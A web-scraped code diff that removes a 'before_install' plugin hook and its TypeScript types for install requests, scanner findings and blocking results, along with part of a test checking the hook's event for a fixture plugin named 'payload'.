expect(handler.mock.calls[0]?.[0]).toMatchObject({
|
||||
targetName: "payload",
|
||||
targetType: "plugin",
|
||||
origin: "plugin-file",
|
||||
sourcePath,
|
||||
sourcePathKind: "file",
|
||||
request: {
|
||||
kind: "plugin-file",
|
||||
mode: "install",
|
||||
requestedSpecifier: sourcePath,
|
||||
},
|
||||
builtinScan: {
|
||||
status: "ok",
|
||||
},
|
||||
plugin: {
|
||||
contentType: "file",
|
||||
pluginId: "payload",
|
||||
extensions: ["payload.js"],
|
||||
},
|
||||
});
|
||||
expect(handler.mock.calls[0]?.[1]).toEqual({
|
||||
origin: "plugin-file",
|
||||
targetType: "plugin",
|
||||
requestKind: "plugin-file",
|
||||
});
|
||||
});
|
||||
|
||||
it("blocks plain file installs when the scanner finds dangerous code patterns", async () => {
|
||||
const baseDir = makeTempDir();
|
||||
const extensionsDir = path.join(baseDir, "extensions");
|
||||
|
|
|
|||
|
|
@ -1819,8 +1819,7 @@ export type PluginHookName =
|
|||
| "subagent_ended"
|
||||
| "gateway_start"
|
||||
| "gateway_stop"
|
||||
| "before_dispatch"
|
||||
| "before_install";
|
||||
| "before_dispatch";
|
||||
|
||||
export const PLUGIN_HOOK_NAMES = [
|
||||
"before_model_resolve",
|
||||
|
|
@ -1849,7 +1848,6 @@ export const PLUGIN_HOOK_NAMES = [
|
|||
"gateway_start",
|
||||
"gateway_stop",
|
||||
"before_dispatch",
|
||||
"before_install",
|
||||
] as const satisfies readonly PluginHookName[];
|
||||
|
||||
type MissingPluginHookNames = Exclude<PluginHookName, (typeof PLUGIN_HOOK_NAMES)[number]>;
|
||||
|
|
@ -2355,116 +2353,12 @@ export type PluginHookGatewayStopEvent = {
|
|||
reason?: string;
|
||||
};
|
||||
|
||||
export type PluginInstallTargetType = "skill" | "plugin";
|
||||
export type PluginInstallRequestKind =
|
||||
| "skill-install"
|
||||
| "plugin-dir"
|
||||
| "plugin-archive"
|
||||
| "plugin-file"
|
||||
| "plugin-npm";
|
||||
export type PluginInstallSourcePathKind = "file" | "directory";
|
||||
|
||||
export type PluginInstallFinding = {
|
||||
ruleId: string;
|
||||
severity: "info" | "warn" | "critical";
|
||||
file: string;
|
||||
line: number;
|
||||
message: string;
|
||||
};
|
||||
|
||||
export type PluginHookBeforeInstallRequest = {
|
||||
/** Original install entrypoint/provenance. */
|
||||
kind: PluginInstallRequestKind;
|
||||
/** Install mode requested by the caller. */
|
||||
mode: "install" | "update";
|
||||
/** Raw user-facing specifier or path when available. */
|
||||
requestedSpecifier?: string;
|
||||
};
|
||||
|
||||
export type PluginHookBeforeInstallBuiltinScan = {
|
||||
/** Whether the built-in scan completed successfully. */
|
||||
status: "ok" | "error";
|
||||
/** Number of files the built-in scanner actually inspected. */
|
||||
scannedFiles: number;
|
||||
critical: number;
|
||||
warn: number;
|
||||
info: number;
|
||||
findings: PluginInstallFinding[];
|
||||
/** Scanner failure reason when status=`error`. */
|
||||
error?: string;
|
||||
};
|
||||
|
||||
export type PluginHookBeforeInstallSkillInstallSpec = {
|
||||
id?: string;
|
||||
kind: "brew" | "node" | "go" | "uv" | "download";
|
||||
label?: string;
|
||||
bins?: string[];
|
||||
os?: string[];
|
||||
formula?: string;
|
||||
package?: string;
|
||||
module?: string;
|
||||
url?: string;
|
||||
archive?: string;
|
||||
extract?: boolean;
|
||||
stripComponents?: number;
|
||||
targetDir?: string;
|
||||
};
|
||||
|
||||
export type PluginHookBeforeInstallSkill = {
|
||||
installId: string;
|
||||
installSpec?: PluginHookBeforeInstallSkillInstallSpec;
|
||||
};
|
||||
|
||||
export type PluginHookBeforeInstallPlugin = {
|
||||
/** Canonical plugin id OpenClaw will install under. */
|
||||
pluginId: string;
|
||||
/** Normalized installable content shape after source resolution. */
|
||||
contentType: "bundle" | "package" | "file";
|
||||
packageName?: string;
|
||||
manifestId?: string;
|
||||
version?: string;
|
||||
extensions?: string[];
|
||||
};
|
||||
|
||||
// before_install hook
|
||||
export type PluginHookBeforeInstallContext = {
|
||||
/** Category of install target being checked. */
|
||||
targetType: PluginInstallTargetType;
|
||||
/** Original install entrypoint/provenance. */
|
||||
requestKind: PluginInstallRequestKind;
|
||||
/** Normalized origin of the install target (e.g. "openclaw-bundled", "plugin-package"). */
|
||||
origin?: string;
|
||||
};
|
||||
|
||||
export type PluginHookBeforeInstallEvent = {
|
||||
/** Category of install target being checked. */
|
||||
targetType: PluginInstallTargetType;
|
||||
/** Human-readable skill or plugin name. */
|
||||
targetName: string;
|
||||
/** Absolute path to the install target content being scanned. */
|
||||
sourcePath: string;
|
||||
/** Whether the install target content is a file or directory. */
|
||||
sourcePathKind: PluginInstallSourcePathKind;
|
||||
/** Normalized origin of the install target (e.g. "openclaw-bundled", "plugin-package"). */
|
||||
origin?: string;
|
||||
/** Install request provenance and caller mode. */
|
||||
request: PluginHookBeforeInstallRequest;
|
||||
/** Structured result of the built-in scanner. */
|
||||
builtinScan: PluginHookBeforeInstallBuiltinScan;
|
||||
/** Present when targetType=`skill`. */
|
||||
skill?: PluginHookBeforeInstallSkill;
|
||||
/** Present when targetType=`plugin`. */
|
||||
plugin?: PluginHookBeforeInstallPlugin;
|
||||
};
|
||||
|
||||
export type PluginHookBeforeInstallResult = {
|
||||
/** Additional findings to merge with built-in scanner results. */
|
||||
findings?: PluginInstallFinding[];
|
||||
/** If true, block the installation entirely. */
|
||||
block?: boolean;
|
||||
/** Human-readable reason for blocking. */
|
||||
blockReason?: string;
|
||||
};
|
||||
|
||||
// Hook handler types mapped by hook name
|
||||
export type PluginHookHandlerMap = {
|
||||
|
|
@ -2572,10 +2466,6 @@ export type PluginHookHandlerMap = {
|
|||
event: PluginHookGatewayStopEvent,
|
||||
ctx: PluginHookGatewayContext,
|
||||
) => Promise<void> | void;
|
||||
before_install: (
|
||||
event: PluginHookBeforeInstallEvent,
|
||||
ctx: PluginHookBeforeInstallContext,
|
||||
) => Promise<PluginHookBeforeInstallResult | void> | PluginHookBeforeInstallResult | void;
|
||||
};
|
||||
|
||||
export type PluginHookRegistration<K extends PluginHookName = PluginHookName> = {
|
||||
|
|
|
|||
Loading…
Reference in New Issue